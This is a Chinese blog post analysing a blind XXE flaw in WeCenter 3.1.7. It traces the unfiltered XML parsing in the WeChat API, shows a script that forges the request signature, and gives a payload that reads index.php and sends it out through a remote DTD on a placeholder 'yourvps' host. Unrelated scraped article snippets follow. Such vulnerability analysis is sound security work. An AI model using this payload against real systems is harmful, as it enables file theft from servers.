WeCenter3.1.7 blind xxe 分析
xxe漏洞危害大,可以查看任意文件,执行系统命令,进行ddos等,但是本次漏洞有一条件,需要后台登录,所以危害降低了,下面是详细分析
在models/weixin.php
public function fetch_message()
{
if ($this->post_data = file_get_contents('php://input'))
{
$post_object = (array)simplexml_load_string($this->post_data, 'SimpleXMLElement', LIBXML_NOCDATA); if ($_GET['encrypt_type'] == 'aes')
{
$post_object = $this->decrypt_msg($post_object['Encrypt']);
} $input_message = array(
'fromUsername' => $post_object['FromUserName'],
'toUsername' => $post_object['ToUserName'],
'content' => trim($post_object['Content']),
'time' => time(),
'msgType' => $post_object['MsgType'],
'event' => $post_object['Event'],
'eventKey' => $post_object['EventKey'],
'mediaID' => $post_object['MediaId'],
'format' => $post_object['Format'],
'recognition' => $post_object['Recognition'],
'msgID' => $post_object['MsgID'],
'latitude' => $post_object['Latitude'],
'longitude' => $post_object['Longitude'],
'precision' => $post_object['Precision'],
'location_X' => $post_object['Location_X'],
'location_Y' => $post_object['Location_Y'],
'label' => $post_object['Label'],
'ticket' => $post_object['Ticket'],
'createTime' => $post_object['CreateTime'],
'status' => $post_object['Status'],
'filterCount' => $post_object['FilterCount'],
'picUrl' => $post_object['PicUrl'],
'encryption' => ($_GET['encrypt_type'] == 'aes') ? true : false
); $weixin_info = $this->model('openid_weixin_weixin')->get_user_info_by_openid($input_message['fromUsername']); if ($weixin_info)
{
$this->user_id = $weixin_info['uid'];
} if (get_setting('weixin_account_role') == 'service')
{
$this->bind_message = '你的微信帐号没有绑定 ' . get_setting('site_name') . ' 的帐号, 请<a href="' . $this->model('openid_weixin_weixin')->get_oauth_url(get_js_url('/m/weixin/authorization/')) . '">点此绑定</a>';
} return $input_message;
}
} 没有过滤post数据,带入到了simplexml_load_string 然后查找哪里调用了这个函数fetch_message,在app/weixin/api.php调用了这函数 public function index_action()
{
if (!isset($_GET['id']))
{
$_GET['id'] = 0;
} $account_info = $this->model('weixin')->get_account_info_by_id($_GET['id']); $this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']); if (!$account_info OR !$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']))
{
exit();
} if ($_GET['echostr'])
{
exit(htmlspecialchars($_GET['echostr']));
} if ($account_info['weixin_account_role'] == 'base' OR !$account_info['weixin_app_id'] OR !$account_info['weixin_app_secret'])
{
$account_info['weixin_mp_menu'] = null;
} $this->model('weixin')->account_info = $account_info; $input_message = $this->model('weixin')->fetch_message(); $this->model('weixin')->response_message($input_message);
}
}
然后这个地方
if (!$account_info OR !$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']))
{
exit();
}
如果$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']不成立就会退出去,无法执行$input_message = $this->model('weixin')->fetch_message();
跟进models/weixin.php
public function check_signature($mp_token, $signature, $timestamp, $nonce)
{
$tmp_signature = $this->generate_signature($mp_token, $timestamp, $nonce); if (!$tmp_signature OR $tmp_signature != $signature)
{
return false;
} return true;
} public function generate_signature($token, $timestamp, $nonce)
{
$token = trim($token); if (!$token OR !$timestamp OR !$nonce)
{
return false;
} $tmp_arr = array(
$token,
$timestamp,
$nonce
); sort($tmp_arr, SORT_STRING); return sha1(implode('', $tmp_arr)); }
我们可以控制$signature参数,而且通过generate_signature我们知道如何生成signature,但是这里
if (!$token OR !$timestamp OR !$nonce) { return false; }
$mp_token是不能控制的,而且不能为空,这样我们就得设置$mp_token了,这个得在后台设置
然后我们成功设置$mp_token为testtest,对照signature生成的方法,写个脚本生成我们可控的$signatarue
<?php
$token = "testtest";
$timestamp = "a";
$nonce = "b";
$tmp_arr = array( $token, $timestamp, $nonce );
sort($tmp_arr, SORT_STRING);
echo sha1(implode('', $tmp_arr));
生成$signature为ed86c0d850f575d4fbd3b2062f1662bed2fe4245,最后url的格式如下
http://localhost/WeCenter_3-1-7/UPLOAD/?/weixin/api/?signature=ed86c0d850f575d4fbd3b2062f1662bed2fe4245×tamp=a&nonce=b
然后由于这个xxe漏洞没有回显,但是blind xxe还是可以用的。 构造读取首页的payload
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % remote SYSTEM "http://yourvps/xxe/evil.dtd">
%remote; %all;
]>
<c>&send;</c></code>
其中evil.dtd内容如下
<!ENTITY % send "<!ENTITY external SYSTEM 'http://yourvps/log.php?msg=%payload;'>">
WeCenter3.1.7 blind xxe 分析的更多相关文章
- 关于Blind XXE
关于Blind XXE 关于XXE,很早之前内部做过分享,个人觉得漏洞本身没太多的玩点,比较有意思主要在于:不同语言处理URI的多元化和不同XML解析器在解析XML的一些特性. 在科普Blind XX ...
- 微信开源PHP商城系统一处blind xxe(无需登录,附POC)
测试版本wemall 3.3 下载地址 http://git.oschina.net/einsqing/wemall/repository/archive?ref=master 需要开源中国的账号 c ...
- weblogic之CVE-2018-3246 XXE分析
通过ftp通道将数据传出来.上传1.xml <!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://192.168.172.12 ...
- blind XXE payload
简单验证 POST /test HTTP/1.1 Content-Type: application/soap+xml User-Agent: scanner Accept: */* Cache-Co ...
- blind xxe攻击
最近做啊里的题的时候遇到了 http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html
- 漏洞经验分享丨Java审计之XXE(下)
上篇内容我们介绍了XXE的基础概念和审计函数的相关内容,今天我们将继续分享Blind XXE与OOB-XXE的知识点以及XXE防御方法,希望对大家的学习有所帮助! 上期回顾 ◀漏洞经验分享丨Java ...
- 漏洞经验分享丨Java审计之XXE(上)
最近在审计公司的某个项目时(Java方面),发现了几个有意思的Blind XXE漏洞,我觉得有必要分享给大家,尤其是Java审计新手,了解这些内容可以让你少走一些弯路. Java总体常出现的审计漏洞如 ...
- XXE漏洞学习
0x00 什么是XML 1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文 ...
- XXE(XML External Entity attack)XML外部实体注入攻击
导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...
随机推荐
- Can't connect to MySQL server on 'localhost' (10038)
平台:win7 已经安装好数据库,但是 在连接MySQL数据库时发生问题: 经过一系列的资料查找后,得到结论MySQL没有启动 解决方法: 将MySQL加入到Windows的服务中.切换到MySQL安 ...
- 获取contenteditable区域光标所在位置信息
在我们使用contenteditable编辑时,有时需要光标位置的信息. <div contenteditable="true" style="min-height ...
- 带你入门SpringCloud统一配置 | SpringCloud Config
前言 在微服务中众多服务的配置必然会出现相同的配置,如果配置发生变化需要修改,一个个去修改然后重启项目的方案是绝对不可取的.而 SpringCloud Config 就是一个可以帮助你实现统一配置选择 ...
- Day20 磁盘管理2之RAID卡
1.磁盘的基本分区Gdisk 前面我们已经了解到fdisk分区,但fdisk不支持给高于2TB的磁盘进行分区.如果有单块盘高于2TB,建议使用Gdisk进行分区. 1.使用gdisk进行磁盘分区 1. ...
- Spring Boot 的单元测试和集成测试
学习如何使用本教程中提供的工具,并在 Spring Boot 环境中编写单元测试和集成测试. 1. 概览 本文中,我们将了解如何编写单元测试并将其集成在 Spring Boot 环境中.你可在网上找到 ...
- 暑期——第八周总结(1,安装好hadoop之后访问http://localhost:50070,无法连接【已解决】 2,Hbase命令详解)
所花时间:7天 代码行:800(Java) 博客量:1篇 了解到知识点 : 一:http://localhost:50070无法访问 安装好hadoop之后 输入所有东西都有 可就是访问50070无法 ...
- win10下安装FFmpeg步骤
1.官方下载地址:https://ffmpeg.zeranoe.com/builds/ # 下载方式一,太慢 # 下载方式二,推荐 2.解压到D:\Program Files (x86),这个看个人喜 ...
- C/C++中变量的作用域和存储类型简介
写在开头 对于很多C/C++的初学者来说,很容易理不清变量的作用域和存储类型这一块的一些概念,也容易将其中的一些概念搞混淆.作为一个C/C++的初学者,笔者希望在这里能够尝试着去理一理这些较为繁杂的概 ...
- 基于elasticsearch的自定义业务告警的设计思路
A系统与B系统之间有很多接口交互,但是有一段时间接口经常报错,作为开发如果不能第一时间知道问题且及时解决的话就会收到业务投诉,当月绩效凉凉. 如果你也有这种场景,那么你就需要一个及时告警的功能. 实现 ...
- 【集群监控】JMX exporter+Prometheus+Grafana监控Hadoop集群
下载jmx_exporter的jar包 https://repo1.maven.org/maven2/io/prometheus/jmx/jmx_prometheus_javaagent/0.3.1/ ...